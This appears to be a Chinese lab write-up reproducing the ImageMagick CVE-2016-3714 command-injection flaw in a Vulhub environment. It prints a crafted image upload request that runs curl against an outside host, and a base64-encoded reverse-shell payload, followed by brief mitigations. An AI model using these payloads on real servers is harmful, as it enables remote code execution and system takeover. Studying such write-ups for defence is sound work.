ImageMagick
ImageMagick是一套功能强大、稳定而且开源的工具集和开发包,可以用来读、写和处理超过89种基本格式的图片文件。
漏洞概述
ImageMagick(CVE-2016-3714)远程执行漏洞产生原因是因为字符过滤不严谨所导致的执行代码,对于文件名传递给后端的命令过滤不足,导致允许多种文件格式转换过程中远程执行代码。
漏洞环境
Vulhub:
https://github.com/vulhub/vulhub/blob/master/imagemagick/imagetragick/README.zh-cn.md
执行命令docker-compose up -d启动环境
漏洞复现
访问http://your-ip:8080/即可查看到一个上传组件。
使用bp发送以下数据包:
POST / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Length: 328
------WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Disposition: form-data; name="file_upload"; filename="1.gif"
Content-Type: image/png
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|curl "www.leavesongs.com:8889)'
pop graphic-context
------WebKitFormBoundarymdcbmdQR1sDse9Et--
www.leavesongs.com:8889已经接收到http请求,说明curl命令执行成功:
反弹shell利用
poc如下:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg?`echo
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ1LjMyLjQzLjQ5Lzg4ODkgMD4mMQ== |
base64 -d | bash`"||id " )'
pop graphic-context
防范方法
(1)在上传图片时需要通过文件内容来判断用户上传的是否为真实图片类型;
(2)使用策略配置文件来禁用ImageMagick的有风险的编码器。
长风实验室发布、转载的文章中所涉及的技术、思路和工具,仅供以网络安全为目的的学习交流使用,不得用作它途。部分文章来源于网络,如有侵权请联系删除。
END
推荐
阅读
原文始发于微信公众号(长风实验室):CVE-2016-3714:ImageMagick 组件绕过disable_functions
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论